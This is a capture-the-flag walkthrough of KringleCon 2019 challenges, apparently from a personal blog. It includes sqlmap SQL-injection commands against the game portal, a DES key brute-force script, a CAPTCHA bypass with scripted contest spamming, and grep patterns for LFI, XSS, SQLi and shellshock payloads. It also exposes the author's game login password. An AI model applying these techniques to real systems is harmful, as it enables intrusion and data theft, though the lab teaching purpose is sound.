
Gain access to the steam tunnels. Who took the turtle doves? Please tell us their first and last name. For hints on achieving this objective, please visit Minty's dorm room and talk with Minty Candy Cane.

To the far right of the Dormitory is an open door, when we enter it we briefly see Krampus who happens to have a key hanging from his belt. He disappears in to the room above which requires a key.

Use the browser's developer tools we can find the url for Krampus to see a larger versin of him and his key: https://2019.kringlecon.com//images/avatars/elves/krampus.png

Although there's a video on copying keys from images, I mostly figured this out myself using Paint DotNet to rotate and resize the Krampus key and overly it on a "blank" key when using the key cutting machine in the room:

Through some trial and error, key values 122520 worked for me (save the file) :

We can then go through the door to the room with the key and use the saved key file, by clicking on the key ring top left, to access the tunnels. We reach Krampus who tells us he took the doves and his full name.

Solution: Krampus Hollyfeld

8. Bypassing the Frido Sleigh CAPTEHA

Help Krampus beat the Frido Sleigh contest. For hints on achieving this objective, please talk with Alabaster Snowball in the Speaker Unpreparedness Room.

Talking to Krampus (end of Objective 7) we have to beat something like a CAPTCHA and are provided 12,000 images and given an API interface (python code).

Although there is also a video for this I went my own way and used ImageIA to solve this - training it to identify the CAPTCHA images and complete the provided python code, following this post.

It took a bit of work getting all the relevant python libraries working correctly, and getting CUDA setup (for performance improvement).

I put the provided images in a "train" directory, created a "test" directory with the same category directory names, and moved some "train" images in to the corresponding "test" directories.

I had to modify the FirstTraining.py file a little: changed the "DataDirectory" to "." (current directory), "num_objects" to 6 (as that's how many different types of images we have) and reduce "batch_size" to "4" to avoid memory errors:

from imageai.Prediction.Custom import ModelTraining

model_trainer = ModelTraining()
model_trainer.setModelTypeAsResNet()
model_trainer.setDataDirectory(".")
model_trainer.trainModel(num_objects=6, num_experiments=200, enhance_data=True, batch_size=4, show_network_summary=True)

Finally I installed "tensorflow-gpu" and ran the script:

python FirstTraining.py

Instructions for updating:
Call initializer instance with the dtype argument instead of passing it to the constructor
Model: "model"
...
Using Enhanced Data Generation
Found 11928 images belonging to 6 classes.
Found 48 images belonging to 6 classes.
JSON Mapping for the model classes saved to  .\json\model_class.json
Number of experiments (Epochs) :  200
...
2019-12-26 18:34:21.587996: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1326] Created TensorFlow device (/job:localhost/replica:0/task:0/device:GPU:0 with 2112 MB memory) -> physical GPU (device: 0, name: GeForce GTX 1060 3GB, pci bus id: 0000:01:00.0, compute capability: 6.1)
2982/2982 [==============================] - 496s 166ms/step - loss: 0.5598 - acc: 0.8400 - val_loss: 0.1307 - val_acc: 0.9375
Epoch 2/200
 151/2982 [>.............................] - ETA: 7:21 - loss: 0.1777 - acc: 0.9404

Eventually it produced some "model" files in the "model" directory and I could test it. I've since done a lot of testing and retraining and now have a pretty reliable model, available on GitHub (note: it is 90mb in size).

Below is output from my "TestWithAPI.py" script which borrows from the provided python code:

Image af0a7a2b-e584-11e9-97c1-309c23aaf0ac = Santa Hats (100.0 probability)
Image d5eacc9d-e584-11e9-97c1-309c23aaf0ac = Ornaments (100.0 probability)
Image dd297ace-e584-11e9-97c1-309c23aaf0ac = Ornaments (100.0 probability)
Image e8515fa1-e584-11e9-97c1-309c23aaf0ac = Stockings (100.0 probability)
Image f87aa84c-e584-11e9-97c1-309c23aaf0ac = Presents (100.0 probability)
Image fa8213d5-e584-11e9-97c1-309c23aaf0ac = Stockings (100.0 probability)
Image ff779cc4-e584-11e9-97c1-309c23aaf0ac = Santa Hats (100.0 probability)
Image 0b11f5f1-e585-11e9-97c1-309c23aaf0ac = Ornaments (100.0 probability)
Image 1fac766b-e585-11e9-97c1-309c23aaf0ac = Christmas Trees (100.0 probability)
Image 28c02239-e585-11e9-97c1-309c23aaf0ac = Santa Hats (100.0 probability)
Image 3a32457c-e585-11e9-97c1-309c23aaf0ac = Santa Hats (100.0 probability)
...

Now we add our image recognition code to the capteha_api.py file and give it a run:

Final answer: 2d7d9e74-e585-11e9-97c1-309c23aaf0ac,710cbf92-e585-11e9-97c1-309c23aaf0ac,94b5661c-e585-11e9-97c1-309c23aaf0ac,9d741b0b-e585-11e9-97c1-309c23aaf0ac,ae0c2dac-e585-11e9-97c1-309c23aaf0ac,e31392ab-e585-11e9-97c1-309c23aaf0ac,63cd4c4d-e586-11e9-97c1-309c23aaf0ac,6693c9fa-e586-11e9-97c1-309c23aaf0ac,779a5cb9-e586-11e9-97c1-309c23aaf0ac,d6c182a4-e586-11e9-97c1-309c23aaf0ac,e42a7fff-e586-11e9-97c1-309c23aaf0ac,f7eb86e9-e586-11e9-97c1-309c23aaf0ac,39c0353a-e587-11e9-97c1-309c23aaf0ac,673235ae-e587-11e9-97c1-309c23aaf0ac,67f03d04-e587-11e9-97c1-309c23aaf0ac,6d0c278b-e587-11e9-97c1-309c23aaf0ac,e3ec0a65-e587-11e9-97c1-309c23aaf0ac,e6839e8e-e587-11e9-97c1-309c23aaf0ac,24d87aef-e588-11e9-97c1-309c23aaf0ac,2836d9cb-e588-11e9-97c1-309c23aaf0ac
CAPTEHA Solved!
Submitting lots of entries until we win the contest! Entry #1
Submitting lots of entries until we win the contest! Entry #2
Submitting lots of entries until we win the contest! Entry #3
Submitting lots of entries until we win the contest! Entry #4
...
Submitting lots of entries until we win the contest! Entry #103
{"data":"<h2 id=\"result_header\"> Entries for email address [email protected] no longer accepted as our systems show your email was already randomly selected as a winner! Go check your email to get your winning code. Please allow up to 3-5 minutes for the email to arrive in your inbox or check your spam filter settings. <br><br> Congratulations and Happy Holidays!</h2>","request":true}

Resulting in an email with the solution:

Congratulations you have been selected as a winner of Frido Sleigh's Continuous Cookie Contest!
To receive your reward, simply attend KringleCon at Elf University and submit the following code in your badge:

	8Ia8LiZEwvyZr2WO

Congratulations,
The Frido Sleigh Team

Solution: 8Ia8LiZEwvyZr2WO

9. Retrieve Scraps of Paper from Server

Gain access to the data on the Student Portal server and retrieve the paper scraps hosted there. What is the name of Santa's cutting-edge sleigh guidance system? For hints on achieving this objective, please visit the dorm and talk with Pepper Minstix.

The "Check Application Status" page of the Student Portal has a SQL Injection in the email address field. We can use SQLMap to exploit it, but there's a catch... a "token" that has to be sent with each request.

SQLMap has a "--csrf-token" and "--csrf-url" option for fetching CSRF tokens but seems to expect a page that returns HTML form input fields, but the Student Portal "validator.php" script just returns the raw token. Using Burp Suite we can rewrite the responses from the validator script so it works with SQLMap.

Capture

Create a proxy "Match and Replace" rule:

  • Type: Response body
  • Match: (^[a-zA-Z0-9]{5,48}[=]{0,2}_[a-zA-Z0-9]{5,48}[=]{0,2}$)
  • Replace:
  • Regex Match: checked

Then run SQLMap to exploit the sql injection, proxying it through Burp Suite so the token is refreshed and added:

sqlmap -u https://studentportal.elfu.org/application-check.php\?elfmail\=test%40test.com\&token\=faketoken --csrf-token=token --csrf-url=https://studentportal.elfu.org/validator.php --proxy="http://localhost:8080" --batch

After discovering the "elfu" database and "krampus" table, we can dump the rows and find the paths to the scraps of paper:

sqlmap -u https://studentportal.elfu.org/application-check.php\?elfmail\=test%40test.com\&token\=faketoken --csrf-token=token --csrf-url=https://studentportal.elfu.org/validator.php --proxy="http://localhost:8080" -D elfu -T krampus --dump

+----+-----------------------+
| id | path                  |
+----+-----------------------+
| 1  | /krampus/0f5f510e.png |
| 2  | /krampus/1cc7e121.png |
| 3  | /krampus/439f15e6.png |
| 4  | /krampus/667d6896.png |
| 5  | /krampus/adb798ca.png |
| 6  | /krampus/ba417715.png |
+----+-----------------------+

Once downloaded the images need to be rotated and pieced together to form a letter, which I just did with PaintDotNet:

Solution: Super sled-o-matic

10. Recover Cleartext Document

The Elfscrow Crypto tool is a vital asset used at Elf University for encrypting SUPER SECRET documents. We can't send you the source, but we do have debug symbols that you can use.

Recover the plaintext content for this encrypted document. We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC.

What is the middle line on the cover page? (Hint: it's five words)

For hints on achieving this objective, please visit the NetWars room and talk with Holly Evergreen.

The corresponding video for this challenge tells us how to detect encryption flaws and methods when reverse engineering a binary. Using the free version of IDA and opening the provided .exe and .pdb file, there is a "generate_key" function listed which calls both "super_secure_srand" and "super_secure_random" (both highlighted in yellow below):

As mentioned in the video, there are two magic numbers in the "super_secure_random" function... "343FDh" and "269EC3h" (214013 and 2531011) which are the "multiplier" and "incrementer" used by Microsoft Visual C, as per https://en.wikipedia.org/wiki/Linear_congruential_generator. The encryption appears to use the current time (timestamp) and the encryption is likely DES.

When running the .exe, we see a "seed" is generated, which is turned in to an "encryption key", which is then uploaded to a server and a "secret id" returned:

Welcome to ElfScrow V1.01, the only encryption trusted by Santa!
Our miniature elves are putting together random bits for your secret key!
Seed = 1576510710
Generated an encryption key: f3086277ff7e6672 (length: 8)
Elfscrowing your key...
Elfscrowing the key to: elfscrow.elfu.org/api/store
Your secret id is 96ba3a92-6980-4dcb-ab7e-a4be7bb4a912 - Santa Says, don't share that key with anybody!

When decrypting we need to provide a "secret id" (which will fetch an encryption key for us), and we know the encryption happened between 7pm and 9pm on December 6, 2019... timestamps "1575658800" and "1575666000". Using some code from https://rosettacode.org/wiki/Linear_congruential_generator, we can put together some Python code to try and decrypt some of the file and look for the "PDF" header:

import os
import requests
from Crypto.Cipher import DES

def msvcrt_rand(seed): # from https://rosettacode.org/wiki/Linear_congruential_generator
   def rand():
      nonlocal seed
      seed = (214013*seed + 2531011) & 0x7fffffff
      return (seed >> 16)
   return rand

def generate_key(seed):
  gen = msvcrt_rand(seed)
  key = ""
  for x in range(8):
    value = gen()
    padding = 4
    bob = f"{value:#0{padding}x}"
    key = key + bob[-2:] # not sure why we get 4x bytes back sometimes, but oh well
  return key

def get_id(key):
  url = "http://elfscrow.elfu.org/api/store"
  payload = "7bea6af0fafbc768"
  response = requests.request("POST", url, data=payload)
  return response.text

def get_id_for_seed(seed):
  key = generate_key(seed)
  print("{} = {}...".format(seed, key))
  return get_id(key)

def try_decrypt(seed, contents):
  key = generate_key(seed)
  print("trying {} = {}...".format(seed, key))

  key = bytearray.fromhex(key)
  cipher = DES.new(key, DES.MODE_ECB)
  plaintext = cipher.decrypt(contents)

  if bytearray.fromhex("255044462d") in plaintext[0:5]:
    print("SOLVED! (seed = {})".format(seed))
    filename = "solved-{}.pdf".format(seed)
    f=open(filename,"wb")
    f.write(plaintext)
    f.close()
    quit()

start_timestamp = 1575658800
end_timestamp = 1575666000


# open the file once, rather than in every loop
f=open("elfpdf.enc","rb")
contents=f.read()
f.close()

# loop through timestamps
for x in range(end_timestamp-start_timestamp):
  try_decrypt(start_timestamp+x, contents)

Running it we get:

trying 1575658800 = d7c21b323c209f0f
...
trying 1575663650 = b5ad6a321240fbec
SOLVED! (seed = 1575663650)

Now we have seed/timestamp (b5ad6a321240fbec) and key (b5ad6a321240fbec), but to properly decrypt the file we need a secret id. The elfscrow.exe supports a "--insecure" parameter which will allow us to capture its network traffic with WireShark or similar:

elfscrow.exe --encrypt nul nul --insecure

("nul" is the windows equivalent of "/dev/null" on linux)

The web request is fairly simple, a POST with the key in the body:

POST /api/store HTTP/1.1
User-Agent: ElfScrow V1.01 (SantaBrowse Compatible)
Host: elfscrow.elfu.org
Content-Length: 16
Cache-Control: no-cache

cddd377aee4eaa0f

Using Postman or cURL we can submit our known key (b5ad6a321240fbec) to the server:

curl -X POST http://elfscrow.elfu.org/api/store -d b5ad6a321240fbec

Which gives us back a "secret id" for the key, eg: 718c9b33-2103-4269-a203-ac5c84fb8564, which we can use to decrypt the PDF:

elfscrow.exe --decrypt --id=718c9b33-2103-4269-a203-ac5c84fb8564 ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc solved.pdf

Welcome to ElfScrow V1.01, the only encryption trusted by Santa!

Let's see if we can find your key...

Retrieving the key from: /api/retrieve

We found your key!
File successfully decrypted!

  +----------------------+
  |\                    /\
  | \ ________________ / |\
  |  |                |  | \
  |  | +------------+ |  |  \
  |  | |\          /| |  |   \
  |  | | \        / | |  |    \
  |  | |  \      /  | |  |     \
  |  | |   \    /   | |  |     |
  |  | |    \  /    | |  |     |
  |  | |     \/     | |  |     |
  |  | |            | |  |     |
  |  | |            | |  |     |
  |  |_|   SECRET   |_|  |     |
  | /  +------------+  \ |     |
  |/                    \|     |
  +----------------------\     |
                          \    |
                           \   |
                            \  |
                             \ |
                              \|
                               |

And the first page of the decrypted PDF is:

Solution: Machine Learning Sleigh Route Finder

11. Open the Sleigh Shop Door

To complete this objective you have to go to the far right of the "Student Union" and click on the crate outside the door, which opens a link to https://sleighworkshopdoor.elfu.org/.

This page has a series of "challenges" requiring you to find each locks value using your browser's developer tools. It's best to reload the page with your developer tools open as you'll need the network requests logged.

  1. "You don't need a clever riddle to open the console and scroll a little" - view the browser's "Console" tab and scroll to the top to get this answer.

  2. "Some codes are hard to spy, perhaps they'll show up on pulp with dye?" - pulp with dye refers to printed pages, open the print preview for the page (eg: hotkey CTRL+P) and you should see the code displayed.

  3. "This code is still unknown; it was fetched but never shown." - in the browser's "Network" tab one of the ".png" files accessed will be a code (click the "Preview" tab for the request)

  4. "Where might we keep the things we forage? Yes, of course: Local barrels!" - local barrels refers to local storage, accessible under Chrome's "Application" tab

  5. "Did you notice the code in the title? It may very well prove vital." - viewing the page source will show the full contents of the tag, including this code</p> </li> <li> <p>"<em>In order for this hologram to be effective, it may be necessary to increase your perspective.</em>" - this one's more tricky, inspect the multi colour image next to the text to view the "Styles" and untick the "perspective: 15px;" styling to reveal the code</p> </li> <li> <p>"<em>The font you're seeing is pretty slick, but this lock's code was my first pick.</em>" - viewing the page source again, there's some ".instructions" styling specifying a "font-family:" with the needed code</p> </li> <li> <p>"<em>In the event that the .eggs go bad, you must figure out who will be sad.</em>" - in the "Console" tab enter "$('.eggs')", right click on the result and "Reveal in Elements panel", then click on the "Event Listeners" tab to reveal a "spoil" function "()=>window['VERONICA]='sad'"... "VERONICA" is the code</p> </li> <li> <p>"<em>This next code will be unredacted, but only when all the chakras are :active.</em>" - clicking on each word of this text will reveal the letters of the code</p> </li> <li> <p>"<em>Oh, no! This lock's out of commission! Pop off the cover and locate what's missing.</em>" - there are a few steps to this one, use the developer tools to "Inspect" the lock and drag the "button" out of the div with the "cover" class then delete the div to reveal the lock's circuit board with the key printed on it (KD29XJ37)... this wont work and an error will be logged in the "Console" tab about missing "macaroni" which refers to an element with the "macaroni" class which can be found by running "$('.macaroni')" in the console, right click on the object and "Reveal in Elements panel" and drag it in to the "lock" div... repeat this for the "swab" and "gnome" (your lock should look like the one below)</p> </li> </ol> <p><img src="https://www.hypn.za.net/images/2020/sans-2019-objective-open-the-sleigh-shop-door2.png" alt=""></p> <p>Completing this challenge reveals an image:</p> <p><img src="https://www.hypn.za.net/images/2020/sans-2019-objective-open-the-sleigh-shop-door3.png" alt=""></p> <p><strong>Solution:</strong> The Tooth Fairy</p> <h3 id="weatherdata">12. Filter Out Poisoned Sources of Weather Data</h3> <blockquote> <p>Use the data supplied in the <a href="https://downloads.elfu.org/http.log.gz">Zeek JSON logs</a> to identify the IP addresses of attackers poisoning Santa's flight mapping software. <a href="https://srf.elfu.org/">Block the 100 offending sources of information to guide Santa's sleigh</a> through the attack. Submit the Route ID ("RID") success value that you're given. For hints on achieving this objective, please visit the Sleigh Shop and talk with Wunorse Openslae.</p> </blockquote> <p>This challenge sucked and took way more time (guesswork) than it should have. It takes some "<a href="https://stedolan.github.io/jq/">jq</a>" and "grep" to solve this objective.</p> <p>The first thing I did is split the provided file in to separate lines, using jq:</p> <pre tabindex="0"><code>cat http.log | jq -c '.[]' > output.json </code></pre><p>Looking through the file we see a "status_code" column, and when looking for http 200 responses (valid/found pages) we can get a list of unique urls:</p> <pre tabindex="0"><code>grep '"status_code":200' output.json | jq '.uri' | sort -u "/" "/alert.html" "/apidocs.pdf" "/api/firewall" "/api/login" ... "/README.md" "/santa.html" "/vendor/bootstrap/js/bootstrap.bundle.min.js" "/vendor/fontawesome-free/css/all.min.css" "/vendor/fontawesome-free/webfonts/fa-solid-900.woff2" "/vendor/jquery-easing/jquery.easing.min.js" "/vendor/jquery/jquery.min.js" </code></pre><p>In the list we see "/README.md" which relates to a hint in the PDF decrypted in Objective 10: "The default login credentials should be changed on startup and can be found in the readme in the ElfU Research Labs git repository." - this file <a href="https://srf.elfu.org/README.md">exists on the webserver</a> and gives us the login credentials:</p> <pre tabindex="0"><code>You can login using the default admin pass: `admin 924158F9522B3744F5FCD4D10FAC4356` </code></pre><p>To get the (not quite) 100x IPs, we need to find some entries in the log file, the hint we're given is:</p> <pre tabindex="0"><code>I worry about LFI, XSS, and SQLi in the Zeek log - oh my! And I'd be shocked if there weren't some shell stuff in there too. </code></pre><p>We can find the bad requests with "grep" by doing:</p> <pre tabindex="0"><code>cat output.json | grep 'etc/passwd\|<script>\|UNION\|:;' > naughty.json </code></pre><p>Then collect their IP addresses:</p> <pre tabindex="0"><code>cat naughty.json | jq -r '."id.orig_h"' >> bad_ips.txt </code></pre><p>The "trick" to this challenge is pivoting from the user agents making bad requests to find more IPs:</p> <pre tabindex="0"><code>cat naughty.json | jq '.user_agent' | while read LINE; do grep "$LINE" output.json | jq -r '."id.orig_h"' >> bad_ips.txt; done; </code></pre><p>This gives 152 lines in "bad_ips.txt", but there are lots of duplicates, so we can get our answer (getting a unique, comma separated list) doing:</p> <pre tabindex="0"><code>cat bad_ips.txt | sort -u | sed ':a;N;$!ba;s/\n/,/g' </code></pre><p>Which results in 94 IPs:</p> <pre tabindex="0"><code>0.216.249.31,10.122.158.57,10.155.246.29,102.143.16.184,103.235.93.133,104.179.109.113,106.132.195.153,106.93.213.219,111.81.145.191,116.116.98.205,118.196.230.170,118.26.57.38,121.7.186.163,123.127.233.97,126.102.12.53,129.121.121.48,131.186.145.73,13.39.153.254,135.203.243.43,135.32.99.116,140.60.154.239,142.128.135.10,148.146.134.52,150.45.133.97,158.171.84.209,168.66.108.62,173.37.160.150,185.19.7.133,186.28.46.179,187.152.203.243,187.178.169.123,190.245.228.38,19.235.69.221,200.75.228.240,203.68.29.5,217.132.156.225,220.132.33.81,2.230.60.70,223.149.180.133,22.34.153.164,2.240.116.254,225.191.220.138,226.102.56.13,226.240.188.154,227.110.45.126,229.133.163.235,229.229.189.246,230.246.50.221,231.179.108.238,23.49.177.78,238.143.78.114,249.237.77.152,249.34.9.16,249.90.116.138,250.22.86.40,252.122.243.212,253.182.102.55,253.65.40.39,27.88.56.114,28.169.41.122,29.0.183.220,31.116.232.143,31.254.228.4,34.129.179.28,34.155.174.167,37.216.249.50,42.103.246.130,42.103.246.250,42.127.244.30,42.16.149.112,42.191.112.181,44.164.136.41,44.74.106.131,45.239.232.245,48.66.193.176,49.161.8.58,50.154.111.0,53.160.218.44,56.5.47.137,61.110.82.125,65.153.114.120,66.116.147.181,68.115.251.76,69.221.145.150,75.73.228.192,80.244.147.207,81.14.204.154,83.0.8.119,84.147.231.129,87.195.80.126,9.206.212.33,92.213.148.0,95.166.116.45,97.220.93.190 </code></pre><p>They need to be entered in to <a href="https://srf.elfu.org/home.html">https://srf.elfu.org/home.html</a> then click on "Deny".</p> <p><img src="https://www.hypn.za.net/images/2020/sans-2019-objective-filter-out-poisoned-sources-of-weather-data.png" alt=""></p> <p><strong>Solution:</strong> 0807198508261964</p> <hr> <h2 id="other">Other:</h2> <h3 id="ending">Final screen</h3> <p><img src="https://www.hypn.za.net/images/2020/sans-2019-ending.png" alt=""></p> <h3 id="map">Map</h3> <p><img src="https://www.hypn.za.net/images/2020/sans-2019-map.png" alt=""></p> <h3 id="santashelper">Santa's helper</h3> <p>Someone named "pollev" made a <a href="https://github.com/pollev/santas_little_helper">python script</a> which lets you teleport around the game and complete terminals... effectively letting you complete it in a few short commands.</p> <p>To get it up and running (be sure to set your email address in "santas_little_helper.py):</p> <pre tabindex="0"><code>~: git clone https://github.com/pollev/santas_little_helper.git ~: cd santas_little_helper ~: nano santas_little_helper.py ~: docker run -ti --rm -v `pwd`:/src python:3 bash root@0c26389fe7f2:/# cd /src root@0c26389fe7f2:/# pip install websocket_client root@0c26389fe7f2:/src# python santas_little_helper.py -c .β–„β–„ Β· β–„β–„β–„Β· ▐ β–„ β–„β–„β–„β–„β–„ β–„β–„β–„Β· .β–„β–„ Β· β–„β–„β–Œ β–ͺ β–„β–„β–„β–„β–„β–„β–„β–„β–„β–„β–„β–„β–Œ β–„β–„β–„ . β–„ .β–„β–„β–„β–„ .β–„β–„β–Œ β–„β–„β–„Β·β–„β–„β–„ .β–„β–„β–„ {_} β–β–ˆ β–€. β–β–ˆ β–€β–ˆ β€’β–ˆβ–Œβ–β–ˆβ€’β–ˆβ–ˆ β–β–ˆ β–€β–ˆ β–β–ˆ β–€. β–ˆβ–ˆβ€’ β–ˆβ–ˆ β€’β–ˆβ–ˆ β€’β–ˆβ–ˆ β–ˆβ–ˆβ€’ β–€β–„.β–€Β· β–ˆβ–ˆβ–ͺβ–β–ˆβ–€β–„.β–€Β·β–ˆβ–ˆβ€’ β–β–ˆ β–„β–ˆβ–€β–„.β–€Β·β–€β–„ β–ˆΒ· *-=\ β–„β–€β–€β–€β–ˆβ–„β–„β–ˆβ–€β–€β–ˆ β–β–ˆβ–β–β–Œ β–β–ˆ.β–ͺβ–„β–ˆβ–€β–€β–ˆ β–„β–€β–€β–€β–ˆβ–„ β–ˆβ–ˆβ–ͺ β–β–ˆΒ· β–β–ˆ.β–ͺ β–β–ˆ.β–ͺβ–ˆβ–ˆβ–ͺ ▐▀▀β–ͺβ–„ β–ˆβ–ˆβ–€β–β–ˆβ–β–€β–€β–ͺβ–„β–ˆβ–ˆβ–ͺ β–ˆβ–ˆβ–€Β·β–β–€β–€β–ͺ▄▐▀▀▄ \____( β–β–ˆβ–„β–ͺβ–β–ˆβ–β–ˆ β–ͺβ–β–Œβ–ˆβ–ˆβ–β–ˆβ–Œ β–β–ˆβ–ŒΒ·β–β–ˆ β–ͺβ–β–Œβ–β–ˆβ–„β–ͺβ–β–ˆ β–β–ˆβ–Œβ–β–Œβ–β–ˆβ–Œ β–β–ˆβ–ŒΒ· β–β–ˆβ–ŒΒ·β–β–ˆβ–Œβ–β–Œβ–β–ˆβ–„β–„β–Œ β–ˆβ–ˆβ–Œβ–β–€β–β–ˆβ–„β–„β–Œβ–β–ˆβ–Œβ–β–Œβ–β–ˆβ–ͺΒ·β€’β–β–ˆβ–„β–„β–Œβ–β–ˆβ€’β–ˆβ–Œ _|/---\ β–€β–€β–€β–€ β–€ β–€ β–€β–€ β–ˆβ–ͺ β–€β–€β–€ β–€ β–€ β–€β–€β–€β–€ .β–€β–€β–€ β–€β–€β–€ β–€β–€β–€ β–€β–€β–€ .β–€β–€β–€ β–€β–€β–€ β–€β–€β–€ Β· β–€β–€β–€ .β–€β–€β–€ .β–€ β–€β–€β–€ .β–€ β–€ \ \ - A Kringlecon 2019 tool by Polle Vanhoof [+] Loading portal data from portal_data.json [+] Loading extra info from extra_info.json [*] Starting login for user test@example.com Please enter your password: password [*] Server new current location: sleighshop [+] Starting process of generating map data [+] Grabbing docker links from all known terminal entities [>] Received new terminal url [>] Received new terminal url [>] Received new terminal url [>] Received new terminal url [>] Received new terminal url [>] Received new terminal url [>] Received new terminal url [>] Received new terminal url [>] Received new terminal url [>] Received new terminal url [>] Received new terminal url [>] Received new terminal url [>] Received new terminal url [>] Received new terminal url [+] Dumping portal data to portal_data.json [+] Dumping extra_info to extra_info.json [+] DONE! </code></pre><p>You can go straight to the ending with:</p> <pre tabindex="0"><code>root@0c26389fe7f2:/src# python santas_little_helper.py -t .β–„β–„ Β· β–„β–„β–„Β· ▐ β–„ β–„β–„β–„β–„β–„ β–„β–„β–„Β· .β–„β–„ Β· β–„β–„β–Œ β–ͺ β–„β–„β–„β–„β–„β–„β–„β–„β–„β–„β–„β–„β–Œ β–„β–„β–„ . β–„ .β–„β–„β–„β–„ .β–„β–„β–Œ β–„β–„β–„Β·β–„β–„β–„ .β–„β–„β–„ {_} β–β–ˆ β–€. β–β–ˆ β–€β–ˆ β€’β–ˆβ–Œβ–β–ˆβ€’β–ˆβ–ˆ β–β–ˆ β–€β–ˆ β–β–ˆ β–€. β–ˆβ–ˆβ€’ β–ˆβ–ˆ β€’β–ˆβ–ˆ β€’β–ˆβ–ˆ β–ˆβ–ˆβ€’ β–€β–„.β–€Β· β–ˆβ–ˆβ–ͺβ–β–ˆβ–€β–„.β–€Β·β–ˆβ–ˆβ€’ β–β–ˆ β–„β–ˆβ–€β–„.β–€Β·β–€β–„ β–ˆΒ· *-=\ β–„β–€β–€β–€β–ˆβ–„β–„β–ˆβ–€β–€β–ˆ β–β–ˆβ–β–β–Œ β–β–ˆ.β–ͺβ–„β–ˆβ–€β–€β–ˆ β–„β–€β–€β–€β–ˆβ–„ β–ˆβ–ˆβ–ͺ β–β–ˆΒ· β–β–ˆ.β–ͺ β–β–ˆ.β–ͺβ–ˆβ–ˆβ–ͺ ▐▀▀β–ͺβ–„ β–ˆβ–ˆβ–€β–β–ˆβ–β–€β–€β–ͺβ–„β–ˆβ–ˆβ–ͺ β–ˆβ–ˆβ–€Β·β–β–€β–€β–ͺ▄▐▀▀▄ \____( β–β–ˆβ–„β–ͺβ–β–ˆβ–β–ˆ β–ͺβ–β–Œβ–ˆβ–ˆβ–β–ˆβ–Œ β–β–ˆβ–ŒΒ·β–β–ˆ β–ͺβ–β–Œβ–β–ˆβ–„β–ͺβ–β–ˆ β–β–ˆβ–Œβ–β–Œβ–β–ˆβ–Œ β–β–ˆβ–ŒΒ· β–β–ˆβ–ŒΒ·β–β–ˆβ–Œβ–β–Œβ–β–ˆβ–„β–„β–Œ β–ˆβ–ˆβ–Œβ–β–€β–β–ˆβ–„β–„β–Œβ–β–ˆβ–Œβ–β–Œβ–β–ˆβ–ͺΒ·β€’β–β–ˆβ–„β–„β–Œβ–β–ˆβ€’β–ˆβ–Œ _|/---\ β–€β–€β–€β–€ β–€ β–€ β–€β–€ β–ˆβ–ͺ β–€β–€β–€ β–€ β–€ β–€β–€β–€β–€ .β–€β–€β–€ β–€β–€β–€ β–€β–€β–€ β–€β–€β–€ .β–€β–€β–€ β–€β–€β–€ β–€β–€β–€ Β· β–€β–€β–€ .β–€β–€β–€ .β–€ β–€β–€β–€ .β–€ β–€ \ \ - A Kringlecon 2019 tool by Polle Vanhoof [+] Loading portal data from portal_data.json [+] Loading extra info from extra_info.json [*] Starting login for user kringlecon2@hypn.za.net Please enter your password: m4hj0l4k [*] Server new current location: sleighshop [+] Starting teleportation module. Where would you like to go? [>] Your current zone is sleighshop - quad (The Quad) - studentunion (Student Union) - sleighshop (Sleigh Workshop) - finale (The Bell Tower) - hermeyhall (Hermey Hall) - netwars (NetWars) - speakerroom (Speaker UNpreparedness Room) - track1 (Track 1) - track2 (Track 2) - track3 (Track 3) - track4 (Track 4) - track5 (Track 5) - track6 (Track 6) - track7 (Track 7) - library (The Laboratory) - dorm (Dorm) - mintydorm (Minty's Dorm Room) - mintycloset (Minty's Closet) - steamtunnels (Steam Tunnels) - trainstation (Train Station) Please enter the zone shortname you would like to teleport to: finale [!] Full multi-zone move from sleighshop to finale [!] Moving from room sleighshop to finale [*] Server new current location: finale </code></pre><p>Then just login in your browser :)</p> <p>Be sure to also read their great writeup at <a href="https://pollev.github.io/Kringlecon-2-Turtle-Doves/">https://pollev.github.io/Kringlecon-2-Turtle-Doves/</a></p> </div> </div> </div> <br /><br /> </body> </html> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>